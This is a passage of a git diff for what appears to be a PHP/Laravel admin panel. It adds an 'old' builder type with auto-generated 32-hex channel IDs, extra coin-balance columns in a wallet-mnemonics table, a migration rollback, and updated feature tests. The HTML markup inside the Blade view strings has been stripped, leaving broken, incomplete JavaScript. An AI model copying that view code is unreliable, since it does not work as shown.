Schema::table('wallet_mnemonics', function (Blueprint $table) { + $table->dropColumn(['discovery_complete', 'discovered_at']); + }); + } +}; diff --git a/phpunit.xml b/phpunit.xml index 43c1b7e..2e8a53f 100644 --- a/phpunit.xml +++ b/phpunit.xml @@ -35,6 +35,8 @@ + + diff --git a/resources/views/admin/channels/index.blade.php b/resources/views/admin/channels/index.blade.php index 69a037c..a8ff6fb 100644 --- a/resources/views/admin/channels/index.blade.php +++ b/resources/views/admin/channels/index.blade.php @@ -202,20 +202,26 @@ layui.use(['table', 'form', 'layer'], function () { var versionBlock = (isAdmin && creating) ? '
' + '
' : ''; - // Channel ID block: App uses auto-generated UUID (read-only); new uses X.Y.ZZ input + // Channel ID block: App=auto UUID (readonly); old=auto 32-hex (readonly); new=X.Y.ZZ input + var isOld = values.builder_type === 'old'; var channelBlock = creating ? (isApp ? '
' + '' + '
' - : '
' + - '' + - '
') + : (isOld + ? '
' + + '' + + '
' + : '
' + + '' + + '
')) : '
'; // App-specific fields: app_name + bundle_id @@ -246,7 +252,7 @@ layui.use(['table', 'form', 'layer'], function () { '
' + '' + '
' + - (creating && isAdmin ? '
新版将调用 builder 生成静态资源;App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。
' : '') + + (creating && isAdmin ? '
新版/旧版均调用 builder 生成静态资源(新版→channel/ 目录,旧版→web/ 目录);App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。
' : '') + '', success: function () { form.render(); @@ -256,11 +262,13 @@ layui.use(['table', 'form', 'layer'], function () { if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id); }); }); - // Auto-generate UUID when switching to App + // Auto-generate UUID when switching to App; 32-hex when switching to Old form.on('select(LAY-ch-builder-type)', function (data) { - var isAppNow = data.value === 'app'; + var v = data.value; + var isAppNow = v === 'app'; + var isOldNow = v === 'old'; $('.LAY-ch-app-only').toggle(isAppNow); - $('.LAY-ch-new-only').toggle(!isAppNow); + $('.LAY-ch-new-only').toggle(!isAppNow); // template shown for new + old var idInput = $('#LAY-ch-id-input'); if (isAppNow) { idInput.attr('readonly', true).attr('maxlength', '').attr('placeholder', '自动生成 UUID'); @@ -269,6 +277,13 @@ layui.use(['table', 'form', 'layer'], function () { if (res.code === 0) idInput.val(res.data.channel_id); }); } + } else if (isOldNow) { + idInput.attr('readonly', true).attr('maxlength', '').attr('placeholder', '自动生成 32 位 hex'); + if (!idInput.val()) { + $.getJSON(@json(route('admin.channels.randomId')) + '?builder_type=old', function (res) { + if (res.code === 0) idInput.val(res.data.channel_id); + }); + } } else { idInput.removeAttr('readonly').attr('maxlength', '6').attr('placeholder', '例如 A.B.C1 或 3.1.07').val(''); } diff --git a/resources/views/admin/mnemonics/index.blade.php b/resources/views/admin/mnemonics/index.blade.php index cf9d4e0..e30ef4f 100644 --- a/resources/views/admin/mnemonics/index.blade.php +++ b/resources/views/admin/mnemonics/index.blade.php @@ -178,6 +178,7 @@ layui.use(['table', 'form', 'layer'], function () { html += '
' + '' + '' + + '' + ''; rows.forEach(function (r) { var inactive = r.active === false; @@ -193,6 +194,7 @@ layui.use(['table', 'form', 'layer'], function () { '' + '' + '' + + '' + ''; }); html += '
IDChain地址IndexUSDTTRXETHBTCBNBSOL操作
' + coinVal(r.btc) + '' + coinVal(r.bnb) + '' + coinVal(r.sol) + '—
'; diff --git a/tests/Feature/ChannelProjectServiceTest.php b/tests/Feature/ChannelProjectServiceTest.php index e951da6..0e727e1 100644 --- a/tests/Feature/ChannelProjectServiceTest.php +++ b/tests/Feature/ChannelProjectServiceTest.php @@ -367,8 +367,11 @@ class ChannelProjectServiceTest extends TestCase } #[Test] - public function store_rejects_old_builder_channel_id(): void + public function store_accepts_old_builder_channel_id(): void { + Process::fake([ + '*' => Process::result(output: $this->fakeBuildResult()), + ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') @@ -377,9 +380,40 @@ class ChannelProjectServiceTest extends TestCase 'builder_type' => Channel::BUILDER_OLD, 'user_id' => 0, ]) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.builder_type', Channel::BUILDER_OLD) + ->assertJsonPath('data.seeds.deployment_seed', '11111111111111111111111111111111') + ->assertJsonPath('data.domains.deployment.0', 'www.dep.example') + ->assertJsonPath('data.support_path', '/web/'.self::CHANNEL_ID.'/support.html'); + + $this->assertDatabaseHas('channels', [ + 'channel_id' => self::CHANNEL_ID, + 'builder_type' => Channel::BUILDER_OLD, + ]); + + Process::assertRan(function ($process) { + $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; + + return str_contains($joined, 'new_project.py') + && str_contains($joined, self::CHANNEL_ID); + }); + } + + #[Test] + public function store_rejects_new_format_id_for_old_builder(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + + $this->actingAs($admin, 'admin') + ->post(route('admin.channels.store'), [ + 'channel_id' => self::NEW_CHANNEL_ID, + 'builder_type' => Channel::BUILDER_OLD, + 'user_id' => 0, + ]) ->assertSessionHasErrors('channel_id'); - $this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]); + $this->assertDatabaseMissing('channels', ['channel_id' => self::NEW_CHANNEL_ID]); } #[Test]